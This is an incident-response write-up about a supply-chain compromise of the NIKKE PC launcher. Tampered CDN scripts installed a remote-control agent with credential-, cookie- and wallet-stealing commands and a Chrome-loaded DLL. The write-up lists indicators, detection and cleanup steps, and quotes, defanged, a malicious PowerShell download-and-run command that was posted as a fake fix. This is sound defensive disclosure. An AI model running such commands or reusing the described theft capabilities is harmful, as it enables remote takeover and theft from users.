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Caution
From 2026-09-27, four official JavaScript files on Level Infinite's CDN contained attacker code. The NIKKE PC launcher loads these files. From Oct 23 at the latest, opening the launcher could install a remote-control agent: while the launcher was open, the attacker could run any command on your machine, read any file and take screenshots.
Do not run commands or programs posted in the comments by anyone other than the author of this write-up (MotherSphere). Get nikke-check only from its releases page and the launcher only from Level Infinite.
Warning
Before you open the launcher or start the game again, even on a PC that seems clean:
- Run NIKKE Launcher Check and save its report, or copy
Launcher\intl_service\debug.log, theLauncher\log\folder and%APPDATA%\nikke_launcher\tbs_cache(nikke_launcher_hmtornikke_launcher_googlefor the other builds). Those files show whether the agent ran. According to Level Infinite, since Nov 4 at 23:00 GMT (Nov 5 08:00 UTC+9) the official PC client checks for this malware at launch and, if you agree, deletes the related logs, DLL files and registry entries. Level Infinite's follow-up notice and manual check instructions are summarized in Level Infinite's notices of Nov 4. - Then delete the cache folder
%APPDATA%\nikke_launcher\tbs_cache(nikke_launcher_hmtfor the HMT launcher,nikke_launcher_googlefor the Google Play Games build; inside your prefix on Proton). It can still hold the modified files, and the launcher would load them again. - Keep the domains and IPs listed in What to do blocked. How the attacker got write access to the CDN is still unknown.
insightjs.comhas been suspended by its registrar since Nov 5 at 02:05 GMT and no longer resolved when checked at 09:09 GMT, but a suspension can be lifted.
Tip
Check your PC with NIKKE Launcher Check. This program looks for the traces of the attack on Windows, Linux or macOS and tells you, in your system language, whether the agent reached your PC and what to do. It only reads files and sends nothing off your PC. Run it before you delete tbs_cache and before you open the launcher or start the game again: the cache holds some of the traces, and the launcher's malware check can delete others (see Level Infinite's notices of Nov 4).
To share logs, a bug or a new detail, open an issue on the repository. The author of this write-up handles them there. Remove the tokens and cookies from launcher logs first (see Check if you are infected).
This report comes from one infected machine, plus findings from other victims posted in the comments. The payload was analyzed statically and never executed. Everything below was checked against the downloaded files, the launcher's logs and caches, the decompiled payload and the live servers. Findings from the comments are marked as reported when they could not be checked here.
Last updated: 2026-11-09, 16:54 GMT.
Corrected in this update:
- The persistence DLL's compile time is 18:52:01 UTC, not 19:52:01 (stew-iwnl).
- The report in nikke-check issue #25 that the updated launcher deleted
debug.log, stopped writing it and wrote new encrypted logs was wrong. Its reporter corrected it on Nov 7. - Parts of the persistence DLL were disassembled (nikke-check issue #32).
/px/only sends, and the DLL does nothing in programs other than Chrome. - The date of the Nov 7 23:32 update in this history.
Added in this update: more programs seen holding the DLL (whykusanagi).
Update history
- Nov 8, 00:05 GMT: a first static look at the persistence DLL, from a copy sent by dyliecious (nikke-check issue #32).
- Nov 7, 23:32 GMT: a ninth known upload of the agent,
6ae4f146(Oct 30 19:34:30 GMT), the earliest 205,135-byte build so far, served to one PC that evening with an agent run (reported). - Nov 7, 12:51 GMT: the persistence DLL also loads in other programs (Steam, Alt1 Toolkit and Jagex Launcher on one PC, nikke-check issue #32), and its folder name was its own SHA-256 on two PCs; two payload uploads with the same bytes (nikke-check issue #33);
l.jsmost likely waits about 15 seconds for the payload; the launcher createspsd.datonly at a sign-in with "stay logged in" checked (Randomrandom3045); the launcher update leaves the loader traces intbs_cachein place (Libbbbs); a leftoverk2f-bcredscopy; Norton blocking a password read on two PCs; firewall profiles switched off by a tuning tool, blocking and SRUM under a TUN proxy, and Huorong's traffic table and logs (Iwassoobsessedwith); a warning against commands posted in the comments. Corrected: when the payload file is deleted, whatTransportSecuritystores, whatwhoami,sysinfoandhost_factsreturn, whenstartup already in progressappears and the analyzed machine's time for it, the time of thes2c_countervalue, the pre-attack date ofFeedList.feb647c9.js, and the crt.sh count. - Nov 5, 14:39 GMT: Level Infinite's follow-up notice and manual check instructions, compared with the evidence here; according to Level Infinite, the official PC client has checked for the malware at launch since Nov 4 at 23:00 GMT, and this check can delete evidence; a report that the updated launcher deleted
debug.logon one clean install (abominablemrtetanus; wrong, corrected by the reporter on Nov 7);insightjs.comsuspended by its registrar on Nov 5 at 02:05 GMT; the.orgfallback is also in the modifiedaegis-fix.min.jsandimages.7fec4c32.js; a fake cleanup command posted in the comments; what the NTFS change journal shows (Iwassoobsessedwith). - Nov 4, 23:18 GMT:
browserscantakes cookies only from the Chromium browsers and most likely skips Opera GX; the Google Play Games build was hit too (nikke-check issue #11, Diamond-Dragon, zbeosf); launches that logstartup failed: EIO: invalid UTF-8 in string(nikke-check issues #16 and #21); the Code Cache loader entries hold no script, and the HTTP cache is gzip-encoded (Iwassoobsessedwith); the Nov 4 launcher front-end and the DNS state on Nov 4 at 22:59 GMT; the modifiedaegis-fix.min.jshash and thesg-gptsURLs (cliff101); Malwarebytes detection names (DylanChusday);nikke_launcher.exein SRUM (Zavodskyja); a third report of build6ae78037(ImDanny39); the agent has no scheduled-task, Run-key or service code. - Nov 4, 12:11 GMT: Level Infinite's statement on X (Nov 4 03:13 GMT) and new advice: clear the launcher cache before you open it again; all four CDN files clean on every server checked at 11:20 GMT, after the last servers took the clean
FeedList.feb647c9.jsbetween 03:12 and 03:21 GMT, and a urlscan.io scan that still got the modified copy at 00:48 GMT (tatsu-t); replacement times per host; clean file sizes corrected by one byte, and clean SHA-256 values; the domain was used from 2017 to 2022 by an earlier owner, and its new server answered on Sep 27 at 04:08 GMT (tatsu-t); two more payload ETags (Kallontz, v3s9er) and the Oct 23 build, 165,108 bytes, left on disk ask2f.lua(zbeosf); the Oct 23 temp file names and poll setting (zbeosf); how manyk2f-bcredsfiles one run leaves (Lirikana); how to tell a failed payload download from a finished one (AdamCKW); what to remove before you post launcher logs (SoloAnnonAnnon); the agent record can sit in a compressed.ldbtable; what HSTSsts_observedmeans (neutralnikke); the launcher manifest requests administrator rights (supermagicianck); the HKLM copy of the CLSID can be missing on stripped-down installs (lttchan); not every infected PC shows a first-collection jump in SRUM; a launcher telemetry POST that namesanalytics.insightjs.com; the earliest reported loader lookups, Sep 30 (TijuanaFlow, AdamCKW); no other game's launcher is known to have loaded the loader (Iwassoobsessedwith). - Nov 4, 02:00 GMT: a DNS log can miss the agent's lookups when the PC also has a second DNS server (luminesce01); an
insightjs.comlookup on Oct 5 07:09 GMT (luminesce01); an older build still served on Nov 1 at 18:03 (axm2). - Nov 4, 01:10 GMT: a fifth payload build, Nov 3 12:31:04 (vvs); the earliest reported agent start is now Oct 23 16:40 GMT (zbeosf).
- Nov 4, 00:45 GMT, corrected:
credsdecrypts the NIKKE login that the launcher saved, not Windows Credential Manager (keyscanreads Credential Manager, for developer-tool entries only);wallet_filesonly reads Chrome's profiles; Korean translation added. - Nov 4, 00:30 GMT: 1984 ehf told a reporter that it shut down 89.127.233.127 (seth12619); how to measure what was sent with SRUM (rnikontas, asyadayo); what the agent does on its own and what the server decides.
- Nov 3, 22:40 GMT: the Chrome DLL can be installed without Chrome (checked in the code); a second attacker IP, 89.126.250.172, used until about Oct 21 (D-Maledicte); a fourth payload build, Nov 2 17:48:47 (malevolenttortoise, Iwassoobsessedwith); all agent traffic goes through the launcher's embedded browser;
startup already in progressis not a reliable sign either way. - Nov 3, 20:40 GMT: a fourth modified file,
vue-bucket.min.js(mikansubre); agent starts from Oct 24, not Nov 1 (malevolenttortoise, CuauhtliHC); at least three builds of the payload (neutralnikke, confirmed here); what the Chrome DLL does and why it must be removed after a restart (cheejordan). - Nov 3, earlier in the day: a third modified file,
FeedList.feb647c9.js(found by RichyRich515 and Enerccio in the comments, confirmed here); the payload served earlier than Nov 2-3;debug.logis appended to, not overwritten on each launch;collect_cookies: falsedoes not mean cookies were safe. - Earlier corrections: the
PlatformExperienceHelperfolder itself is normal Chrome (only a 64-hex subfolder with the DLL is malicious), andonominan.tmpis not a malware marker.
- Summary
- Check if you are infected
- What to do
- What the attacker can do on an infected machine
- Linux and Steam Deck (Proton)
- Technical details
- Infrastructure
- Indicators of compromise
- For Level Infinite
- NIKKE launcher payload: every target path (
target-paths.md)
| Entry point | Four official files on Level Infinite's CDN (playerinfinite.com, Tencent COS), modified on 2026-09-27 |
| What it is | A remote-control agent: command execution, file access, screenshots, theft of passwords, browser cookies, tokens, SSH keys and crypto wallets |
| Who is at risk | Anyone who opened the NIKKE PC launcher from Oct 23 (at the latest) until the fix, on Windows or on Linux / Steam Deck through Proton, and anyone whose launcher still uses the modified files from its cache or from a stale CDN server. The Google Play Games build was hit too. It installs to C:\NIKKE_GOOGLE, runs Launcher\nikke_launcher_google.exe and keeps its data in %APPDATA%\nikke_launcher_google (nikke-check issue #11, Diamond-Dragon and zbeosf in the comments, reported). Level Infinite asks everyone who opened the Windows PC launcher at least once since Sep 27 at 15:41 UTC+9 (06:41 GMT) to check their PC, and says the mobile game was not affected |
| Payload active since | Oct 23, 2026 at the latest, and only on some launches (one machine got it on 3 of about 19 launches). The earliest agent start reported in the comments is Oct 23 at 16:40 GMT (zbeosf), about an hour after the Oct 23 15:37 certificate. The loader has been in place since Sep 27 |
| Persistence | On Windows, a DLL registered in the user's registry so that Chrome loads it, and it keeps running after the launcher is closed. Installing it does not need Chrome. In Chrome it reads passwords typed in web pages and takes crypto wallet passwords, recovery phrases and private keys (checked in its strings, see Stage 3). Other programs can load it too: Steam's steamwebhelper.exe, Alt1 Toolkit and Jagex Launcher on one PC (nikke-check issue #32, reported), Spotify.exe, EADesktop.exe, NVIDIA Overlay and ChatGPT.exe on whykusanagi's PC (reported). It checks which program loaded it and does nothing outside Chrome (disassembly, nikke-check issue #32). The agent has no code for scheduled tasks, Run keys, services, WMI or the Startup folder, so anything there would have to come from exec |
Level Infinite confirmed a fix on X (@NIKKE_en, Nov 4 03:13:58 GMT). The statement says the PC launcher's script files may have been tampered with by a third party, and that client fixes and an update went out around 02:30 UTC+9 on Nov 4 (17:30 GMT on Nov 3). It said the impact was being investigated and that follow-up measures would come in a separate notice. It named no files, did not describe the payload and gave users no steps. On the CDN:
aegis-fix.min.js,vue-bucket.min.jsandimages.7fec4c32.jswere replaced on Nov 3 between 17:04 and 17:23 GMT.FeedList.feb647c9.jshas been clean at the origin since Oct 28. The last CDN servers with the modified copy took the clean one on Nov 4 between 03:12 and 03:21 GMT.- All four files were clean on the four CDN servers checked on Nov 4 at 11:20 GMT.
- Since Nov 4 the launcher loads a rebuilt front-end (
nikke.c2f24fe0.js,images.64d80e3e.js,video-js.c239e58d.js,aegis-fix.min.js?t=20261104,vue-bucket.min.js?v=20261104, checked on a fresh install).FeedList.feb647c9.jskept its URL.
None of this undoes anything on machines that were already infected. At 23:08 GMT on Nov 4 Level Infinite published a follow-up notice with its own timeline, and at 23:11 GMT separate manual check instructions (times reported by Iwassoobsessedwith). According to the notice, the official PC client has checked for the malware at launch since 23:00 GMT (see Level Infinite's notices of Nov 4).
Still open:
- How the attacker got write access to the CDN. Level Infinite's notice says a third party took over
insightjs.combut does not explain how files on Level Infinite's CDN were changed. - Old files in launcher caches.
FeedList.feb647c9.jskept its URL in the Nov 4 front-end, which is one reason to still deletetbs_cache. - The start of distribution. Level Infinite's notice gives Oct 30 at 03:52 UTC+9 (Oct 29 18:52 GMT), six days after the earliest agent start reported in the comments (Oct 23 16:40 GMT), and agents had also started on Oct 24 (reported). On one PC the NTFS change journal shows more than 20 launches from Oct 15 to Nov 2 without a payload download, then two downloads, on Nov 2 at 23:36 and Nov 3 at 10:58 GMT (Iwassoobsessedwith, reported). That fits a payload served on some launches only, and it does not change the earliest reported start, Oct 23.
insightjs.comhas been suspended by its registrar since Nov 5 at 02:05 GMT, and a suspension can be lifted.
The list of "all Tencent games hacked" that circulates goes back to one anonymous 4chan post with no artifact, and no other launcher is known to have loaded the loader (Iwassoobsessedwith). The same CDN hosts serve other Level Infinite web properties, so the attacker could have reached them, but there is no evidence that they did.
On Nov 4 Level Infinite posted an apology image on X at 23:01 GMT, a follow-up notice at 23:08 GMT and manual check instructions at 23:11 GMT (the apology and the three times are reported by Iwassoobsessedwith; the texts of both notices were checked here). On nikke-en.com both notices are dated 2026.11.05, the date in UTC+9.
The follow-up notice gives this timeline in UTC+9, with GMT added here:
| UTC+9 (GMT) | Level Infinite's notice | Evidence here |
|---|---|---|
| Sep 27 10:59 (01:59) | A third party took over insightjs.com, which the notice calls an open-source domain used by some game services |
The domain was registered again at 01:59:19 GMT after it had lapsed (see Infrastructure) |
| Sep 27 15:41 (06:41) | The launcher script files were partly tampered with through that domain | The four modified files on Level Infinite's CDN have Last-Modified times from 06:41:40 to 06:42:03 GMT. The notice does not explain how a domain takeover changed files stored on Level Infinite's CDN |
| Oct 30 03:52 (Oct 29 18:52) | Distribution of the malicious program began | Earlier: an agent start on Oct 23 at 16:40 GMT and the Oct 23 build left as k2f.lua (zbeosf), agent starts on Oct 24 with the payload saved as k2f.lua, and k2f.agent.state records with the server's Oct 23 and Oct 24 poll settings (all reported). The persistence DLL was compiled in that minute (see Stage 3) |
| Nov 4 about 00:00 (Nov 3 about 15:00) | Anomalies detected, investigation started | First public warning on the NIKKE community Discord at 16:11 GMT |
| Nov 4 02:04-02:23 (Nov 3 17:04-17:23) | Three files replaced | Matches the Last-Modified times of the clean files |
| Nov 4 12:09 (03:09) | CDN cache refreshed for the remaining modified file | The four CDN servers checked took the clean FeedList.feb647c9.js between 03:12 and 03:21 GMT |
According to the notice, from Nov 5 at 08:00 UTC+9 (Nov 4 23:00 GMT) the official PC client checks for the malware at launch. The notice says to close every browser, Chrome included, before you start the official PC client. If the check finds the malware, a pop-up asks before the related logs, DLL files and registry entries are deleted. The notice asks affected players to report losses to customer support, but the deletion also removes evidence they may need for that report.
So before you open the launcher or start the game again, even on a PC that seems clean, save a nikke-check report or copy Launcher\intl_service\debug.log, the Launcher\log\ folder and tbs_cache (in %APPDATA%\nikke_launcher, nikke_launcher_hmt or nikke_launcher_google). After the check has deleted files, a missing debug.log proves nothing, and a nikke-check result of "No traces found" is weaker evidence.
Earlier versions of this write-up said that on a clean install that one player moved to an older laptop, the updated launcher deleted Launcher\intl_service\debug.log without a pop-up, stopped writing that file and wrote new log files that look encrypted (abominablemrtetanus, nikke-check issue #25). All three were wrong. The reporter corrected it on Nov 7 (issue #25 comments of 2026-11-07 18:22 and 2026-11-09 10:05 GMT):
- The file was locked or being written when they first looked.
debug.logis still there, 98,336 KB, last written Nov 5 at 02:46. - The launcher appended lines to it on Nov 5 from 02:31 to 02:46. They are ordinary launcher console output (
[js-bridge],[BgVideo][Login]), so the updated launcher still writesdebug.log. - The encrypted logs are not new.
app.IntlService.20261030-223119-887.logandapp.nikke_launcher.20261030-223117-631.log, from before the update, are encrypted, and so are all 376TinyDL.*logs from Feb 2023 to Oct 30, 2026. The tinyget logs are plain text.tinyget.20261105-023103-784.log(9 KB) is the only new tinyget log from that run, far too small to hold a payload.
The notice also says that DLL files left behind because a browser was still open can no longer run. In the analyzed build, chrome_install writes the DLL and the HKCU CLSID InprocServer32 value, and sets up no other way to load it (checked in the code). That value is meant to make Chrome load the DLL (no report has yet shown chrome.exe with it loaded). Any other 64-bit program running as that user that asks Windows for the same Parental Controls component loads it too, but the DLL then returns without starting anything: it only runs in chrome.exe with chrome.dll loaded (see Stage 3). Once that key is gone, nothing that build installed makes a program load the file again. A process that loaded it earlier can keep it loaded after its last window is closed (see If you are infected), so restart Windows, then delete the 64-hex subfolder.
The manual check instructions give these steps, most of them also in Check if you are infected and What to do:
- Close the game, the launcher and Chrome, and disconnect from the network.
- Search
debug.logfork2f_chan registered. - Delete the HKCU CLSID key, restart, then delete only the 64-hex subfolder that holds
platform_experience_helper.dll. - Delete a 205,135-byte
tinyget.<date>-<time>.logfile fromLauncher\log\tinyget. - Delete
%APPDATA%\nikke_launcher\tbs_cache. - Change passwords and replace API keys and tokens, from another device or after the check.
- Run a full antivirus scan and Microsoft Defender Offline.
According to the instructions, a log without k2f_chan registered does not fully rule out a risk, and the incident was limited to the PC launcher and did not affect the mobile game. They do not cover %APPDATA%\nikke_launcher_hmt and %APPDATA%\nikke_launcher_google (their debug.log example does include C:\NIKKE_GOOGLE), and their 205,135-byte rule misses the Oct 23 build (k2f.lua, 165,108 bytes, reported by zbeosf).
The notice says Level Infinite is reviewing its network security, including the CDN, to find out how the launcher files were changed. The measures Level Infinite plans are a review of security practices for the PC launcher and its data, monitoring that detects unauthorized file changes early, integrity checks for the external resources the launcher loads, and a review of the permissions of each launcher feature.
NIKKE Launcher Check does most of these checks for you. The steps below are the manual way.
- Open your NIKKE install folder.
- Open
Launcher/intl_service/debug.login a text editor. - Search for
k2f_chan.
If you find it, the agent ran on your machine, even when the adopted or resuming line after it is missing (that line comes from l.js once the server answers). An infected log looks like this:
"lua downloaded to log\tinyget\tinyget.<timestamp>.log" (log\tinyget\k2f.lua on early runs)
"k2f_chan registered"
"adopted <uuid>"
"agent started as <your computer name>"
A launch can also log startup failed: EIO: invalid UTF-8 in string right after k2f_chan registered, with no adopted, resuming or agent started as line (nikke-check issues #16 and #21, reported). The cause is in the agent's code (checked): sysinfo reads the Windows user name with os.getenv("USERNAME"), which returns a non-ASCII name in the ANSI code page. The JSON encoder rejects it, and the k2f_chan handler returns the error as EIO.
With no adopted line, that launch most likely stopped before the agent got an ID. The l.js that did this was never captured, so what it did next is unknown. k2f_chan still means the agent was downloaded and ran, and the steps in If you are infected apply.
Launcher/log/tinyget/tinyget.*.log also records the download of https://analytics.insightjs.com/comm/assets/insight.bundle. The AddTask line for insight.bundle is only the request.
- The download finished only if a later line for the same task shows
curl perform successandOnDownloadResult ... result=0 ... total=205135(or another non-zero total). - A request that logs
curl_error,result=2andtotal=0failed, and the agent did not arrive from it (AdamCKW, checked against the logs here). nikke-check 0.4.0 and earlier reported such failed attempts as downloads; 0.4.1 fixes that.
Some launches also log startup already in progress while the payload download is under way, including one where the agent most likely never loaded (nikke-check issue #33), but several infected runs do not, so search for k2f_chan registered.
If the payload file is gone, the NTFS change journal can still show it. The launcher writes the download as tinyget.<time>.log.cdt and renames it to .log when it finishes. Once the payload has been loaded, the file is gone within seconds: 207 ms after the download on one PC, about a second after it on another (nikke-check issue #32), about 4 seconds after the agent started on a third (all reported). The agent's payload_cleanup command deletes it when the server asks, but on the first two PCs it was gone sooner than any server command has been seen to arrive (the earliest, chrome_install, came 3 seconds after the start), so the launcher or l.js most likely deletes it once it is loaded. On a PC where l.js logged startup failed: lua download timed out before the download finished, the agent most likely never loaded and the 205,135-byte file stayed in Launcher\log\tinyget (nikke-check issue #33, reported).
The journal keeps the create and delete records, and also those of the %TEMP%\k2f-bcreds-*.db copies. To list the records without changing anything, run this as administrator, with D: replaced by the letter of the drive that holds NIKKE, then run it again with C: for %TEMP%:
fsutil usn readjournal D: csv
The journal has a fixed size and drops its oldest records when it is full: on one PC the C: journal only went back three days. Check the date of its oldest record before you take an empty result to mean that no payload arrived (Iwassoobsessedwith, reported).
A secondary sign is in tinyget.mem.log: a POST to na.fleetlogd.com (the launcher's own telemetry) with Referer: https://analytics.insightjs.com/. On the analyzed machine it was sent 0.41 s after the finished insight.bundle download, just before k2f_chan registered.
Before you post launcher logs, remove the Cookie lines and the values of login_ticket, biz_ticket, uid, openid and sig. They sit in tinyget.mem.log and on the launcher's API request lines in the dated tinyget logs. The insight.bundle lines hold none of them, but their path= field can show your Windows user name (SoloAnnonAnnon, checked).
Two quick checks outside debug.log:
- The loader entries in
%APPDATA%\nikke_launcher\tbs_cache\Code Cache\js\(or the same folder undernikke_launcher_hmtornikke_launcher_google) have the same file names on every machine (dd65fa4d61079e7e_0aegis,ce2fd3f1007a9fe9_0images,1416c638b3830103_0feedlist,fd520c7c0f65c2d7_0vue). These entries hold no script, only the key, a timestamp and a short marker (about 200 bytes on the analyzed machine), and the timestamp shows when that loader last ran. - In DNS or router logs, a lookup of
insightjs.commeans the loader ran, while a lookup ofanalytics.insightjs.commost likely means the agent stage was reached. A DNS log only sees the lookups sent to it: on one infected PC that also used an IPv6 DNS server from the router, the Pi-hole log had noanalytics.insightjs.comat all (reported), so a log without it does not rule out the agent.
The launcher appends to debug.log: on the analyzed machine it held all 9 launches from Oct 29 to Nov 3. The updated launcher still writes to it (nikke-check issue #25, reported). It is gone if the NIKKE folder was deleted or reinstalled, and Level Infinite's malware check deletes logs when you agree to its pop-up. FETCH_LIST suc success lines come from the normal FeedList module and appear on clean launches too, so they are not a sign.
The agent also saves its state in the launcher's Local Storage, outside the NIKKE folder: search the files in %APPDATA%\nikke_launcher\tbs_cache\Local Storage\leveldb\ (and the same folder under nikke_launcher_hmt and nikke_launcher_google) for k2f.agent. A plain text search can miss the record once LevelDB moves it into a compressed .ldb table, so a hit counts, but no hit is weaker evidence. nikke-check 0.4.1 reads those tables. On Windows, also check for the persistence files listed in What to do.
tbs_cache\TransportSecurity stores each host as the base64 SHA-256 of its name in DNS wire format (each label preceded by its length, ending with a zero byte), so a text search for insightjs finds nothing there. analytics.insightjs.com is stored as wxL1BeG57AG6frvPqS7txqpE3NyN0/fSUZHCbEn9NSw= and insightjs.com as JeFWywdZy+3jPC93e3P7ACdJ8liQHB7rH+9VHn7kswg= (computed here). If one of them is there, its sts_observed time is the last time the launcher's browser received and saved an HSTS header from that host, not the first contact. For analytics.insightjs.com it is usually the latest agent check-in. The apex time can lag: on the analyzed machine it stayed at the Nov 2 launch although the loader ran again on Nov 3. The libcurl download of insight.bundle does not write this file (neutralnikke, checked on the evidence here).
-
Save the evidence, then delete the launcher cache. Level Infinite confirmed a fix on Nov 4 (statement in the Summary), but the cache folder
%APPDATA%\nikke_launcher\tbs_cache(%APPDATA%\nikke_launcher_hmt\tbs_cachefor the HMT launcher,%APPDATA%\nikke_launcher_google\tbs_cachefor the Google Play Games build; inside your prefix on Proton) can still hold the modified files, and the launcher would load them again. Delete it before you open the launcher again.Do the checks in Check if you are infected first, or copy
tbs_cache,Launcher\intl_service\debug.logand theLauncher\log\folder somewhere safe.tbs_cacheholds thek2f.agent.stateand HSTS traces that show whether the agent ran. According to Level Infinite, since Nov 4 at 23:00 GMT the official PC client checks for the malware at launch and, if you agree, deletes the related logs, DLL files and registry entries, so do this before you open the launcher or start the game again.Malwarebytes now reports two of the traces in
tbs_cacheasTrojan.Loader.K2F(the Code Cache loader entry) andTrojan.Trace.K2F(the Local Storage file withk2f.agent.state) (DylanChusday, reported). Removing them removes evidence and undoes nothing, so run the checks or copytbs_cachefirst.Loader traces were still in
tbs_cacheafter the updated launcher had run: nikke-check still found the loader on Libbbbs's PC, and one player's post on X shows Malwarebytes flagging fourTrojan.Loader.K2Fentries after the update (both reported). So updating the launcher does not by itself clear them, and no report yet shows whether the Local Storage record survives the update. -
Keep these blocked in your hosts file, router or firewall:
insightjs.com analytics.insightjs.com insightjs.org 89.127.233.127 89.126.250.172insightjs.comhas been suspended by its registrar since Nov 5 at 02:05 GMT and no longer resolves, but a suspension can be lifted, and the IP blocks do not depend on DNS. Blocking only stops the known domains and addresses. How the attacker got write access to Level Infinite's CDN is still unknown, so they may be able to try again with a new domain.A Windows Firewall rule only works while the firewall profile of the network in use is on, and tuning or "debloat" tools can switch the profiles off: ZyperWin++ did on one PC (Iwassoobsessedwith, reported). This PowerShell command should show
Truefor all three profiles, unless another firewall has replaced Windows Firewall, in which case put the block rules in that firewall:Get-NetFirewallProfile -PolicyStore ActiveStore | Select-Object Name, Enabled
With a proxy such as Clash or mihomo in TUN mode, the proxy resolves names and opens connections itself, so firewall rules on the IP addresses and DNS blocks on the router may not apply: also add the domains and IPs as reject rules in the proxy's own configuration.
-
Do not run fix commands or programs that other people post in the comments. On Nov 5 a comment on this gist, from an account that GitHub no longer shows, told readers to paste a PowerShell command into an administrator terminal:
iex (irm kernelscv[.]cfd?t=nikke)(brackets added here so that it does not run as is). That command downloads a script fromkernelscv[.]cfd, a domain registered on Oct 23, 2026 that does not appear in this attack's files or infrastructure, and runs it with administrator rights.The indicators that comment listed (
45.153.*:4444,nikke_bootstrap.dll,NikkeUpdate,NIKKE_Helper) are not part of this attack. If you ran it, treat the PC as compromised by that script and reinstall Windows. No real fix for this incident asks you to runiex (irm ...).
Important
If debug.log contains k2f_chan, the agent ran on your PC, and while it was active the attacker could run any command your user account can run. Follow the steps below in order, and change passwords only from a clean device. A clean antivirus scan does not mean the DLL is gone.
-
Close the launcher, or disconnect from the internet, so the attacker loses access.
-
On Windows, remove the persistence in this order:
- Delete this key if it exists. If it exists with an empty default value, delete it anyway: that is what the agent's own
chrome_uninstallleaves behind.
The same CLSID exists under HKLM on most Windows installs and in Wine prefixes, pointing toHKCU\Software\Classes\CLSID\{E77CC89B-7401-4C04-8CED-149DB35ADD04}wpc.dll(WindowsParentalControls); stripped-down installs may not have it. Leave it. Only the HKCU copy is malicious. - Restart Windows. The DLL stays locked while any program has it loaded. On one PC it stayed locked after every
chrome.exeprocess had ended, and on another PC Steam, Alt1 Toolkit and Jagex Launcher had it loaded (nikke-check issue #32; both reported). On whykusanagi's PC,Spotify.exe,EADesktop.exe, NVIDIA Overlay andChatGPT.exeheld it (reported). In those programs it was loaded but did not run (see Stage 3). - Open this folder and delete any subfolder whose name is a 64-character hex string and that holds
platform_experience_helper.dll:
Do not delete the whole folder: Chrome creates%LOCALAPPDATA%\Google\Chrome\User Data\PlatformExperienceHelper\PlatformExperienceHelperitself for its ownplatform_experience_helper.exeand an emptyLoadFeaturesfile, so the folder on its own is normal.
Microsoft Defender Offline did not detect the DLL on one machine (signatures 1.463.110.0). Reinstalling Windows is the safest option, because the attacker could run any command while the agent was active.
- Delete this key if it exists. If it exists with an empty default value, delete it anyway: that is what the agent's own
-
From a clean device, change your passwords: NIKKE / Level Infinite first, then email, Discord, banking and every password saved in a browser. Turn on two-factor authentication.
-
Log out of all sessions (Discord, Google, Steam, GitHub and others). The agent can steal browser cookies, which work without your password.
-
Revoke and regenerate API tokens, SSH keys and any developer credentials (GitHub, npm, AWS, OpenAI, Anthropic and others).
-
Move crypto wallet funds to a new wallet with a new seed phrase.
The agent is a remote-access tool. While the launcher is open, the operator can send it these commands:
| Command | Effect |
|---|---|
exec |
Runs any program or shell command and returns the output |
ls, cd, cat, download, file_chunk |
Browse folders and download any file |
screens |
Screenshot of every monitor |
creds |
Decrypts the NIKKE account and password that the launcher saved in psd.dat and last_user.dat (%APPDATA%\nikke_launcher, %APPDATA%\nikke_launcher_hmt). The launcher creates psd.dat only at a sign-in with "stay logged in" checked, and does not delete it when the option is turned off later, even after another account signs in. Whether the launcher then removes the password from the file is not known (Randomrandom3045, reported). Without psd.dat, creds most likely gets the account name but no password. It does not read %APPDATA%\nikke_launcher_google, but cat and download can copy last_user.dat from any of the three folders |
browserscan |
Saved passwords from Chrome, Edge, Brave, Vivaldi, Opera and Firefox. Cookies, unless collect_cookies is false, from the Chromium browsers only: from Firefox it takes only logins.json and key4.db. Its Opera folder is %APPDATA%\Opera Software\Opera Stable only, so Opera GX is most likely skipped. It has no reader for password-manager extensions. cat and download can still copy Firefox cookies, an Opera GX profile or a password manager's extension data. On two PCs Norton reported that it blocked nikke_launcher.exe, the process the agent runs in, from reading the passwords saved in Chrome: on Nov 1 (buce1874-boop) and on Nov 2 (a player's post on X, since deleted), both by the PC's clock (reported) |
chrome_scan |
Lists Chrome installs, profiles and extension IDs |
keyscan |
Reads 264 known credential and config file paths and scans them for secrets. Also reads Windows Credential Manager entries of developer tools (git:, gh:, npm:, docker:, aws:, azure:, vscode: and others) |
wallet_files |
Data from 28 crypto wallet extensions, in Chrome's profiles only (wallets in other browsers can still be copied with download) |
whoami, sysinfo, host_facts |
Computer name, user, SID, privilege level, Windows build, CPU, RAM, drives and uptime |
chrome_install |
Installs the Chrome DLL persistence |
chrome_cleanup, chrome_uninstall, payload_cleanup |
Remove traces |
exec alone means the operator can do anything your user account can do: install other malware, read any document or change files. The other commands are shortcuts.
The Lua agent does nothing on its own. It registers k2f_chan with the launcher's comm_center and then only answers open, read, write, ping and close requests. Every command comes from the server through l.js.
Victim data shows that the first commands arrive within seconds of the agent starting: on two PCs the Chrome DLL was written 3 seconds after the start (cheejordan and nikke-check issue #32), and the launcher's embedded browser sent about 0.9 MB and 16.6 MB in the hour of the start on two machines (reported, SRUM). On several machines a first collection ran within minutes of the start (one sent 4.85 MB in a 25-minute session, cheejordan, reported; another about 1.2 MB in its first five minutes, nikke-check issue #9, reported), but at least one infected PC showed no jump, so a normal SRUM hour does not rule out the agent.
On another PC the NTFS change journal shows four %TEMP%\k2f-bcreds-<unix time>-<random>.db copies created and deleted in one second, 8 seconds after the payload started. The Unix time in their names, 1793662591, is that same second (2026-11-02 23:36:31 GMT), so browserscan ran within seconds of the start. A second run on that PC, on Nov 3 at 10:58 GMT, left none (Iwassoobsessedwith, reported). Firefox's key4.db and logins.json are read in place without a copy (checked in the code of the analyzed build), so reading them leaves no k2f-bcreds file. Missing temp files or a collect_cookies: false config do not mean nothing was taken either.
whoami reports the launcher's integrity level and whether it runs elevated. supermagicianck reports that nikke_launcher.exe 0.0.6.841 (signed by PROXIMA BETA PTE. LIMITED) has requireAdministrator in its manifest, so the agent runs elevated and its SYSTEM-token path for Chrome and Edge app-bound encryption can work. On a PC where a standard user typed another account's administrator password, also check that account's %APPDATA%\nikke_launcher, %TEMP% and HKCU CLSID key.
SRUM (C:\Windows\System32\sru\SRUDB.dat) keeps the bytes each program sent per hour, so it shows how much data left a Windows PC. Open it as administrator with NirSoft NetworkUsageView, or copy it and parse it with SrumECmd, then compare the hours of the agent starts with the usual values for tbs_browser.exe. All agent traffic goes out under that process, not under the game. In the hour of a payload download, nikke_launcher.exe also receives the bundle, for example 337,535 bytes received, 205,135 of them the bundle (Zavodskyja, reported).
